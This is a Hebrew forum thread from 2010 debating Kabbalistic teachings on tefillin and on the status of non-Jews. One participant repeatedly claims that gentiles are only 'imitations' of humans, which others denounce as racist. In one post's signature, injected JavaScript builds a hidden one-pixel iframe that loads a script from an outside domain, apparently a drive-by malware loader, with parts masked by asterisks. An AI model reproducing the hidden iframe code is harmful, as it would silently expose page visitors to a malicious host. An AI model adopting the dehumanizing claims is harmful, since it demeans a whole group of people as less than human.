|
|
| נשלח ב-15/11/2010 06:31 |
 |
| |
[שותףסוד,
כתבת - "אני מקווה שלא יהיה לי דין רודף ומסכן את ישראל (אפשר לחשוב, מי בכלל מכיר את הפורום הזה ?...) אם אומר שהגוי הוא חיקוי אדם. חז"ל אומרים שאדם הראשון היה ישראל, ולולא חטא עץ הדעת והתערבות הנחש בחיי האדם אין מקום לאדם שאיננו ישראל."
חז"ל אומרים הרבה דברים. למשל -
"ואמר רב יהודה אמר רב: אדם הראשון מין היה, שנאמר "וַיִּקְרָא ה' אֱלֹהִים אֶל הָאָדָם וַיֹּאמֶר לוֹ אַיֶּכָּה" (בראשית ג', ט') - לאן נטה לבך? רבי יצחק אמר: משוך בעורלתו היה, כתיב הכא "וְהֵמָּה כְּאָדָם עָבְרוּ בְרִית" (הושע ו', ז') וכתיב התם "אֶת בְּרִיתִי הֵפַר" (בראשית י"ז, י"ד). רב נחמן אמר: כופר בעיקר היה, כתיב הכא "עָבְרוּ בְרִית" וכתיב התם "אֲשֶׁר עָזְבוּ אֶת בְּרִית ה'" (ירמיהו כ"ב, ט') (סנהדרין ל"ח ע"ב)]
|
|
|
|
| נשלח ב-15/11/2010 09:09 |
|
| |
| מיימוני כתב: |  |
לפני שאני מתחיל להתייחס בפרטות, בוא נסכים על מיון השאלות:
א. שאלות על בירור עמדה (האם כוונת לכך או לכך, מה העמדה ביחס לזה או לזה).
ב. שאלות על הרגשה אישית (איך אפשר לחיות עם כזו עמדה, הלוא זה מעורר תיעוב זוועה ונורא ואיום).
ג. שאלות מקור (מי אמר לך? ומי אמר למי שאמר ? ומי אמר לההוא?).
אני יכול לענות על שאלות מהסוג הראשון (עד כמה ששכלי הדל תופס בעניינים). אני לא יודע מה לעשות עם שאלות מהסוג השני. אני יכול לענות לשאלות מהסוג השלישי רק בשלב הראשון (מי אמר לי), ומשם זה כבר לא עסקי.
האם אנו מדברים על אותה תורה ועל אותם חז"ל?
אני מקווה שאתה תסכים איתי שהתורה היתה ותהיה הפתעה גדולה.
כמה אנשים בעולם יודעים שיש בכלל יהודים.
כמה יהודים בעולם יודעים שיש מצוות תפילין.
כמה מניחי תפילין יודעים שיש בזה נתינת מוחין לאדם.
כמה מהמקובלים יודעים היטב את כוונות הנתינה.
כמה מהמכוונים יודעים את נמשל העניין.
בקיצור הרבה דברים עומדים להתברר ולהתגלות, וההפתעות מתרבות והולכות.
ולכן אותה תורה ואותם חז"ל נחשפים לכל אחד לפי עניינו העקרוני ומצבו הנוכחי.
כשם שתורת רבי עקיבא התבררה כתורת משה, למרות הקושיות הראשוניות, כך יתבררו כל ענייני התורה.
אנחנו מדברים על אותה ועל אותם חז"ל, אבל עם משקפיים בעלות מספרים שונים.
א. התורה שאני מכיר קובעת: בצלם אלקים ברא את האדם. לא את היהודי אלא את האדם.
המשפט "הגוי הוא חיקוי אדם", אם הבנתי אותו כטוען שהגוי אינו אדם באמת, נראה לי שגוי. יותר מכך, נראה לי שהוא משקף תפיסת עולם שגויה ומעוררת, בעיני, תיעוב. אם הקבלה טוענת את הטענה זו, סימן רע הוא לה.
אולי תרצה לשתפני היכן מצאת בדברי רבותינו התנאים והאמוראים יחס כזה לגוי שהוא רק חיקוי לאדם?
זו שאלת רגשות, אינני יודע מה לעשות איתה. הזהר הקדוש מלא וגדוש בכל זה, תוכל לראות זאת כבר בפתיחת נפש החיים.
ב. אהה. לפי הלשם הזמן אמור להתקדם לעבר סעודות משיח (אני משער שזה סמל) וכל מה שכתבת לעיל.
ומנא ליה ללשם הא? (=מהיכן ידע זאת הלשם?)
מקורות הלשם (דבריו הם בספר הדע"ה ח"ב) הם דברי הגר"א והאר"י. ומנין להם ? שאלת מקור, אני נעצר כאן.
ג. כתבת:
כל דבר שאיננו נצחי ויוצא מגבולות הזמן והמקום אין לו ערך אמיתי, אלא דמיון בלבד
ואני שוב שואל: זאת מנלן. האם זה למדנו מן התורה או שזו סברה? ומדוע אי אפשר לומר שדווקא בזמני ובחולף מצויה גדולתו של האדם העושה את הטוב?
אני מציין בקיצור כי לשאלה האם דבר בעל ערך צריך להיות בעל קיום נצחי יש היסטוריה. וראוי לברר את הנחות היסוד לפי מה קובעים את הערך.
שרשרת הסברות היא:
א. אחדות רצון הבורא היא המציאות הגבוהה ביותר ששייכת.
ב. שלימות רצונו להיטיב היא באחדות הנבראים בינם לבין עצמם ובינם לבין בוראם.
ג. דבר זמני וחולף אין לו חיבור כלל לאחדות המבוקשת.
ד. כתבת עוד, ואני מתייחס לפי חלקים.
1. העולם הוא כשלון בעמידתו באתגרי התורה.
ואני שואל זאת מנלן. שמא ההתקדמות ההדרגתית של האדם היא דווקא זכות. ולקב"ה יש סבלנות לחכות. הוא נצחי.
אולי תתווכח על שמירת מצוות כי קשה לכאורה למדוד, אבל ירידה גדולה בידיעת התורה ובהבנתה א"א להכחיש גם בחיינו הקצרים. ביחס לאתגרי התורה יש התדרדרות מוחלטת. נראה לי שאתה אולי מתכוון בהתקדמות ההדרגתית ביחס לנימוסי העולם ותרבותו, גם זה לא נראה לי במיוחד, אבל בכל מקרה זה לא שייך לאתגרי התורה היהודיים.
'2. הכשלון הוא מובנה בתהליך הבחירה
כלומר שאדם, גם אם הוא בעל בחירה חופשית, סופו להיכשל? אז איך זה קורה? האם אין לאדם בחירה חופשית? האם יש לו רק לפעמים? האם הכשלון הוא בגלל חוסר ידע, ואם כן, האם ניתן להאשימו על כך? (שאלה שהזכרת, ואיני מתעלם מכך. זה מראה על כושר הניתוח שלך ולא שאתה זקוק להסכמתי).
אך שים לב. אם האדם נכשל בגלל שכך נגזר עליו, ומצליח רק לפעמים, האם אין הצלחותיו ראויות לכל שבח ונחשבות לרבות ערך? הרי הוא מצליח למרות הכשלון המובנה לתוכו?
גם בבחירה חופשית יש משמעות לנטיית כפות המאזניים. יש נסיונות של 50/50 ויש של 90/10 ואפילו של 999/1. כוחות הנפש לעמוד בנסיונות משתנים בהתאם. האדם מתקדם בדרגת נסיונותיו והישגיו מתחזקים והולכים. חז"ל מעידים שהיו ארבעה שמתו רק בעטיו של נחש, כלומר עמדו לגמרי בכל שלבי הנסיון, וזה היוצא מן הכלל המעיד על הכלל.
אולי לידע כללי תרצה לדעת כי כבר היה הוגה דעות שסבר כי הצדיקים נבחרו לבחור בטוב, והרשעים ברע, ולאף אחד אין בחירה חופשית, והכל גזירה קדומה, והצדיקים יתענגו על גן העדן וישמעו בו את צווחות הרשעים המתענים בגהנום, והיא פאר לבורא מן הנברא. שמו של ההוגה הזה היה קלוין. נכון שעשיתי טריק דמגוגי?
זה לא טריק דמגוגי, זה סתם אי הבנה גמורה. ח"ו מהאי דעתא, הבחירה היא היסוד הראשון של כל הבריאה כי בלעדיה אין טעם לכלום.
3. כתבת כי ההחלטות המקומיות של בני האדם מה טוב ומה רע נסחפות יחד עם כל חיי העולם הזה להבל וריק.
ויש עוד דרך לראות זאת. שהאדם מברר את הערכים אט אט. וכל בירור הוא זכות לו ולעולם כולו. ולכן יש לשבח לא רק את הנביאים שזכו להתגלות, אלא גם למשל את קאנט, שניסח באופן פילוסופי את הרעיון של האדם שנברא בצלם אלקים, ולכן לעולם אסור להתייחס אליו כאמצעי גרידא.
עלינו לשבח לחכמי אומות העולם שהועילו בטובם לעלות על כמה מעקרונות תורתנו ולפרסמם בשמם. כבר אמר החת"ס לא אכפת לי שתגידו את הרעיונות שלי בשמכם, רק אל תגידו את הרעיונות שלכם בשמי.
4. כתבת:
רק תוכנית התורה וקביעותיה הערכיות יכולים לשמש כמנוף להעלאת העולם לנצחיותו.
ואולי התורה ניתנה לאדם כדי שיפרש אותה, יבין אותה, ויזהה את הערכים הטמונים בה? לתועלת האדם ולא העולם?
אלו שתי גישות שונות, אלא שאני טוען שגישתי שלי מצויה ביהדות גם כן.
ועוד אני טוען, לגבי כל הנכתב כאן, שהגישה שאתה מציג סובלת, להערכתי, מהיותה פשטנית. כמדומה שהתרבות האנושית התפתחה לעצמאות וריבונות שחסרות בהצגת הדברים שלך. חוששני שלא בארתי די הצורך מדוע. וכמובן, הצגתי רק גישה חליפית לשלך. זו ודאי לא סתירה לדבריך. זה רק נסיון להציג בשטחיות ובפשטנות מדוע התפיסה שאתה מציג לא תדבר לכל. ניתן כמובן לטעון שמי שלא זכה לטעום את טעמו של ההסבר שלך הקבלי זה בגלל שנשמתו לא מספיק גבוהה וכיו"ב ואולי הוא רק חיקוי של אדם...
יש לחלק בין מי שהוא מצאצאי אברהם יצחק ויעקב, אשר עמדו רגליו על הר סיני, ובין הנספחים לכלל ישראל.
צאצאי אבותינו שמעו את הדברים והפנימו, כעת הם עסוקים בשלב זה או אחר של גילוי שורשיהם הפנימיים. עליהם הבטיח הקב"ה שלא ידח ממנו נידח, וכולם ילוקטו אחד לאחד.
הערב רב שעמדו בקרבת מקום, ונכנסו בזכות משה רבינו, שייכים גם הם לעניין אבל רק ע"פ זכויותיהם בפועל.
אומות העולם לא נכנסו לעניין כידוע, וממילא הם מופקעים מההשגות האלה בכלל.
נתפלל על כל אחד ואחד מאיתנו שיתברר עליו ששייך לצאצאי האבות, או לכל הפחות לערב רב הצדיקים. |
|
תוקן על ידי שותףסוד ב- 15/11/2010 09:14:22
|
|
|
|
| נשלח ב-15/11/2010 09:18 |
|
| |
| אמשלום כתב: | | חז"ל אומרים הרבה דברים. למשל -
"ואמר רב יהודה אמר רב: אדם הראשון מין היה, שנאמר "וַיִּקְרָא ה' אֱלֹהִים אֶל הָאָדָם וַיֹּאמֶר לוֹ אַיֶּכָּה" (בראשית ג', ט') - לאן נטה לבך? רבי יצחק אמר: משוך בעורלתו היה, כתיב הכא "וְהֵמָּה כְּאָדָם עָבְרוּ בְרִית" (הושע ו', ז') וכתיב התם "אֶת בְּרִיתִי הֵפַר" (בראשית י"ז, י"ד). רב נחמן אמר: כופר בעיקר היה, כתיב הכא "עָבְרוּ בְרִית" וכתיב התם "אֲשֶׁר עָזְבוּ אֶת בְּרִית ה'" (ירמיהו כ"ב, ט') (סנהדרין ל"ח ע"ב)]
|
|
אכן אמת הדבר. חז"ל מנתחים את כל פרטי החטא של אדם הראשון, ומלמדים אותנו את כל דרכי החטא בעולם משם והלאה:
קוצץ בנטיעות, כופר בעיקר, מושך בערלתו. אדם הראשון אחראי לייסודן של דרכים אלו.
|
|
|
|
| נשלח ב-15/11/2010 09:54 |
|
| |
שותף סוד חילק בין אדם ישראל לאדם סתם אני חושב שהחילוק העקרוני עומד על ההבדל הזה שישראל נקראו בנים כמבואר בברי רבי עקיבא על פי מה שכתוב בתורה בנים אתם לה' אלוהיכם וההבדל הוא בהזדהות מתוך רצון שאין בו כפיה הגמרא אומרת שגוי הנותן צדקה זה "חסד לאומים חטאת" כיון שזה אינו אלא להתייהר בו לעומת ישראל שנותן על מנת שיחיה בו שהוא צדיק גמור וזה כיון שהישראל אפילו ימות בנו הוא לא מתחרט שנתן צדקה כיון שיש בזה אמת והוא שמח על זה שהשלא לשמה שלו גרם לו לעשות דבר נכון לעומת הגוי שמתחרט על הכסף שבזבז - עד כאן הם דברי הגמרא בסוף פרק לא יחפור בבא בתרא - ונמצינו למדים מכאן שאדם על פי ההגדרה שלו הוא יצור שהמחשבה שלו חורגת מתחומי הגוף כך שהרצון שלו מעורה במציאות שמשתקפת אליו מבחוץ ובכך הגדרת הזהות העצמית שלו שממנה הוא פועל תמיד ושאותו הוא חי הוא האמת התכליתית שיש בה מטרה עצמית ולא צורך ומטרה אישיים ולכן כל אדם שאין לו חלק בהגדרת האמת כדבר שיש לו ערך עצמי וכדבר שאפשר וצריך לפעול למענו חסר לו את הבסיס בשם שלו כאדם - וזה לדעתי הכוונה בדברי המקובלים בהגדרה שלהם לשם אדם - דבר שלא סותר את דברי ר"ע ודברי התורה שחביב אדם שנברא בצלם שנאמר כי בצלם אלוהים עשה את האדם - שאמנם לנו הוא חביב כאדם - וכל זלזול בהגדרה הזאת יש בו עקירת התורה כיון שיש בו סירוס הערך וסירוס העיקר - אלא שהוא עצמו כל עוד אין אצלו קיום לזה שה' אלוהי ישראל מלך שיש לו נוכחות עצמית, לערך האנושי שלו אין קיום עצמי יציב והוא רק "מתייהר" באנושיות אך הוא לא ממש אדם בעצמו
_________________
 |
|
|
|
|
| נשלח ב-15/11/2010 10:03 |
|
| |
שותף סוד
קודם כל מתודולוגיה. אתה מוכן להציג את עמדתך ובגבולות מסויימים מאד לציין מה המקור האחרון הידוע לך.
אינך רוצה לבזבז זמן על התמודדות על טענות מן ההרגשה (בצדק, אני מסכים איתך) ועם מקור שמעבר למקור הידוע לך.
אבל מה תאמר על זה: כאשר יש סתירה בין המקור שאתה מדבר בשמו לבין המקור בתורה שבכתב, או, נדיר יותר, בתורה שבעל פה, מה אז?
דוגמאות בהמשך.
כתבת:
אני מקווה שאתה תסכים איתי שהתורה היתה ותהיה הפתעה גדולה.
כמה אנשים בעולם יודעים שיש בכלל יהודים.
כמה יהודים בעולם יודעים שיש מצוות תפילין.
כמה מניחי תפילין יודעים שיש בזה נתינת מוחין לאדם.
כמה מהמקובלים יודעים היטב את כוונות הנתינה.
כמה מהמכוונים יודעים את נמשל העניין.
בקיצור הרבה דברים עומדים להתברר ולהתגלות, וההפתעות מתרבות והולכות.
אז לא, איני מסכים איתך. איני סבור שהתורה באה להנחיל "הפתעות".
איני סבור אפשר "לדעת" כיצד התפילין מעניקות "מוחין" מפני שמדובר לדעתי במיתוס. אפשר לדעת שהתפילין מעניקים מוחין כפי שיודעים שזאוס הוליד את הרקולס. כלומר, שיש אנשים שהאמינו או מאמינים באוסף התכנים הזה.
סליחה על ההשוואה שהיא ודאי פוגענית מאד. התכוונתי להראות שזה מיתוס וזה מיתוס. זה מיתוס שלקוח ממיתולוגיה זרה, יוונית. וזה מיתוס שצמח בתוך היהדות אך הוא עדיין נובע מתוך גישה של מינות, כאילו יש חלוקה בתוך הא-לוהים לעולמות אלוהיים.
כאן אני מגיע לנושא המתודולוגי שחשת בו וניסחת בעצמך תשובה עבורו. היכן מצאנו את המוחין של התפילין בתורה, שבכתב ושבעל פה? על זה ענית, לדעתי בחכמה רבה:
...אותה תורה ואותם חז"ל נחשפים לכל אחד לפי עניינו העקרוני ומצבו הנוכחי.
כשם שתורת רבי עקיבא התבררה כתורת משה, למרות הקושיות הראשוניות, כך יתבררו כל ענייני התורה.
אנחנו מדברים על אותה ועל אותם חז"ל, אבל עם משקפיים בעלות מספרים שונים.
אני בעניותי איני סבור כמוך.
אני מסכים שהרבה בשיטת רבי עקיבא היה חידוש גדול. במיוחד בעיני בני דורו (כפי שעיון במעט שיש לנו אודות היחס לר"ע והויכוחים סביב שיטתו מעידים, ואולי זה נושא לאשכול).
אבל דברי ר"ע לא סתרו את התורה. הם יישמו את העיקרון של לימוד ויישום על פי שיטות לימוד שחלקן היו נתונות וחלקן חודשו.
הגישה של הקבלה מציעה רובד חדש למציאות, למצוות ואפילו ביחס לא-לוהים. הטענה שתפילין מעניקות "מוחין", אם אין היא רק מטאפורה לתחושה פסיכולוגית שנוצרת בשעת הנחת תפילין, אלא קביעה לגבי השתלשלות של שפע במערכת הספירות, אין לה זכר במקורות. אפשר לנסות לחפש אותה בפנים. אפשר לנסות, לדעתי כמובן, לאנוס את הכתובים להוליד אותה. כמובן, לא התחייבת לחפש מקורות לפני דמויות הסמכות שלך בתחום הקבלה. אבל ודאי תוכל להבין שעם חידושים כאלו, היחס של ספק הוא מובן מאליו (אלא אם כן האדם כבר התרגל להאמין שהכל יהדות, כפי שמחנכים רבים אצלנו - לצערי).
התמקדתי בנושא אחד מבין אלו שכתבת, והוא ה"מוחין". אבל יש לי הסתייגויות מעוד הרבה ממה שכתבת. אני חש שאנו חיים בעולמות שונים לגמרי, אני ואתה. העולם שלך מאוכלס בישויות דמיוניות שהן אולי מעניינות אבל לא יהודיות. בעיניך ודאי אני חי מתוך אי היכרות עם עיקרי יהדות. אולי אפילו עם התעקשות לא להכיר בהם. אני מקוה שתשים לב כי ההסתמכות שלך על אישים מאוחרים כמו הלשם ואפילו הגר"א אינה יכולה להיות מקור עבור מי שמחפש קשר שניתן לזיהוי לא על ידי אונס פרשני בין דברי מקורות הסמכות שלך לבין המקורות הקדומים שלנו. ולכן התביעה לכבד את דבריך כאמת מטפיזית וכאמת יהודית עדיין זקוקים לראיה היסטורית וספרותית, שאתה עצמך מודה שאין לך (גם מפני שלא חיפשת) ואינך יכול, לפחות בינתים, לספק.
***
סולקו פטנטים למניעת התרסקות בכרום ששכחתי למחוק...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
תוקן על ידי מיימוני ב- 15/11/2010 10:08:13
|
|
|
|
|
| נשלח ב-15/11/2010 10:32 |
|
| |
כפי שלמדינו רש"י בשם חז"ל לגבי קרבנו ריח ניחוח - נחת רוח לפני, שאמרתי ונעשה רצוני:
זה הסיבה של תפילין ויש גם סיבה מפורשת בתורה למען תהיה תורת השם בפיך,
לעשות מוחין זה ע"ז ממש,
ושימוש מצוות לעשות מוחין זה בוודאי לא דרך התורה
תוקן על ידי maxmen ב- 15/11/2010 10:36:05
|
|
|
|
| נשלח ב-15/11/2010 10:42 |
|
| |
המוח שהתפילין יוצרים הם צורת החשיבה על העולם ועל שם ה' שבו למען תהיה תורת ה' בפיך הוא מציאות התורה בפועל ולא רק כרעיון ועל ידי שהוא בפועל נוצר כבר מעצמו ה"מוח החדש" שהוא ה"מוח הגדול" יותר שלא מצטמצם בהרגשות ובהשגות ה"קטנות" לחוד
_________________
|
|
|
|
| נשלח ב-15/11/2010 10:47 |
|
| |
שותף,
אתה טוען ש'הגוי הוא חיקוי אדם'.
הס מלומר דברים מעין אלה ומלהעלות בדעתך מחשבות כאלה. וכבר ראינו מה קרה במאה העשרים כשבני אדם התחילו להתייחס אלה אל אלה כתת בני אדם!
|
|
|
|
| נשלח ב-15/11/2010 10:56 |
|
| |
אליעזר
שותף הוא ציוני וסובר שסר פחד הואמות ושוב אין איסור להתגרות בם.
|
|
|
|
| נשלח ב-15/11/2010 11:03 |
|
| |
בעל,
מדובר כאן במשהו שהוא חמור פי אלף מהתגרות בעלמא. כשאני שומע אמירות מעין אלה אצל ידידיי אני אומר להם שאילו היו נולדים בגרמניה של המאה העשרים היו בוודאי מצטרפים למפלגה הנאצית!
|
|
|
|
|
| נשלח ב-15/11/2010 11:04 |
|
| |
בעל
האם לא להגיד על גוי את האמירה המכוערת הזו זה בגלל יראה מהגוי?
האמן לי אני בעיקר היתי ירא מעצמי להוציא מילים כאלו, על אנשים שנבראו בצלם אלוקים.
|
|
|
|
| נשלח ב-15/11/2010 11:05 |
|
| |
| yakovw כתב: | | | המוח שהתפילין יוצרים הם צורת החשיבה על העולם ועל שם ה' שבו למען תהיה תורת ה' בפיך הוא מציאות התורה בפועל ולא רק כרעיון ועל ידי שהוא בפועל נוצר כבר מעצמו ה"מוח החדש" שהוא ה"מוח הגדול" יותר שלא מצטמצם בהרגשות ובהשגות ה"קטנות" לחוד |
|
זה בדיוק אמצעים שזה ע"ז ממש, תפילין לא עושות כלום רק עושים את זה כי זה רצונו,
ועוד למען תהיה בפיך ולא בארון ספרים כלומר ללמוד וללמוד ולקיים, אבל אסור לחשוב שזה עושה משהו, זה פשוט ע"ז לומר כך
_________________
|
|
|
|
| נשלח ב-15/11/2010 11:42 |
|
| |
| מיימוני כתב: | | הגישה של הקבלה מציעה רובד חדש למציאות, למצוות ואפילו ביחס לא-לוהים. הטענה שתפילין מעניקות "מוחין", אם אין היא רק מטאפורה לתחושה פסיכולוגית שנוצרת בשעת הנחת תפילין, אלא קביעה לגבי השתלשלות של שפע במערכת הספירות, אין לה זכר במקורות. אפשר לנסות לחפש אותה בפנים. אפשר לנסות, לדעתי כמובן, לאנוס את הכתובים להוליד אותה. כמובן, לא התחייבת לחפש מקורות לפני דמויות הסמכות שלך בתחום הקבלה. אבל ודאי תוכל להבין שעם חידושים כאלו, היחס של ספק הוא מובן מאליו (אלא אם כן האדם כבר התרגל להאמין שהכל יהדות, כפי שמחנכים רבים אצלנו - לצערי).
התמקדתי בנושא אחד מבין אלו שכתבת, והוא ה"מוחין". אבל יש לי הסתייגויות מעוד הרבה ממה שכתבת. אני חש שאנו חיים בעולמות שונים לגמרי, אני ואתה. העולם שלך מאוכלס בישויות דמיוניות שהן אולי מעניינות אבל לא יהודיות. בעיניך ודאי אני חי מתוך אי היכרות עם עיקרי יהדות. אולי אפילו עם התעקשות לא להכיר בהם. אני מקוה שתשים לב כי ההסתמכות שלך על אישים מאוחרים כמו הלשם ואפילו הגר"א אינה יכולה להיות מקור עבור מי שמחפש קשר שניתן לזיהוי לא על ידי אונס פרשני בין דברי מקורות הסמכות שלך לבין המקורות הקדומים שלנו. ולכן התביעה לכבד את דבריך כאמת מטפיזית וכאמת יהודית עדיין זקוקים לראיה היסטורית וספרותית, שאתה עצמך מודה שאין לך (גם מפני שלא חיפשת) ואינך יכול, לפחות בינתים, לספק.
|
|
השאלה הפשוטה שלי היא למה אני צריך להעדיף את הרגשותיך והסתגויותיך יותר מאשר דברי הגר"א האר"י והלשם, אשר עומקם גדולתם ועניינם מתוק וברור לי עד מאד ?
|
|
|
|
|
| נשלח ב-15/11/2010 12:05 |
|
| |
שותף,
לפני שאתה עוסק בדברים העומדים ברומו של עולם, אנא התנצל על האמירות הגזעניות שלך. אם אתה חושב שהגוי הוא תת אדם. למה שהיטלר לא יחשוב שאתה תת אדם.
|
|
|
|
| נשלח ב-15/11/2010 12:23 |
|
| |
| אליעזרט כתב: | | שותף,
לפני שאתה עוסק בדברים העומדים ברומו של עולם, אנא התנצל על האמירות הגזעניות שלך. אם אתה חושב שהגוי הוא תת אדם. למה שהיטלר לא יחשוב שאתה תת אדם. |
|
אני לא מודאג מההכשר של היטלר ושיחשוב כרצונו. הוא גם לא בקש ממני הכשר למעשיו.
כמו שכתבתי למיימוני אני עונה גם לך וגם לירוחם וגם למקסמן (וגם ל.... שברקע) - למה שאעדיף את הרגשותיכם ודעותיכם החביבות מול דעותיהם ודבריהם של גדולי ישראל שמפיהם אני חי ?
|
|
|
|
|
